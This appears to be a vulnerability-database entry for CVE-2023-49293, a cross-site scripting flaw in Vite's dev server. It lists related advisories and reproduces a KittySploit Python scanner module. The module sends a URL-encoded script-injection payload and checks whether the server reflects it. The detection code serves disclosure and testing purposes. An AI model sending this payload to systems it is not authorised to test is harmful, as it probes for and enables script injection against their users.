Vite dev server - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| Security Bulletin: IBM Guardium Data Security Center is affected by multiple vulnerabilities | 7 Mar 202515:14 | – | ibm | |
| The vulnerability of the server.transformIndexHtml() function on the local development server of the Vite application allows attackers to perform cross-site scripting attacks. | 14 Dec 202300:00 | – | bdu_fstec | |
| CVE-2023-49293 | 4 Dec 202322:07 | – | circl | |
| Vite Cross-Site Scripting Vulnerability | 4 Dec 202300:00 | – | cnnvd | |
| CVE-2023-49293 | 4 Dec 202323:03 | – | cve | |
| CVE-2023-49293 Cross-site Scripting in `server.transformIndexHtml` via URL payload in vite | 4 Dec 202323:03 | – | cvelist | |
| EUVD-2023-3168 | 3 Oct 202520:07 | – | euvd | |
| Vite XSS vulnerability in `server.transformIndexHtml` via URL payload | 5 Dec 202323:31 | – | github | |
| CVE-2023-49293 | 4 Dec 202323:03 | – | mend | |
| Vite dev server - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Vite's dev server, when used with `appType: 'custom'` and manually invoking `server."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Vite dev server - Cross-Site Scripting Detection',
'description': 'Vite\'s dev server, when used with `appType: \'custom\'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'vite', 'xss'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97',
'https://nvd.nist.gov/vuln/detail/CVE-2023-49293',
],
'cve': 'CVE-2023-49293',
}
def run(self):
path = '/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E '
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_any = ('src="/@id/__x00__/?"></script><script>alert(document.domain)</script>',)
ctype_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='medium',
reason='Vite dev server - Cross-Site Scripting detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.16.1
EPSS0.00997
SSVC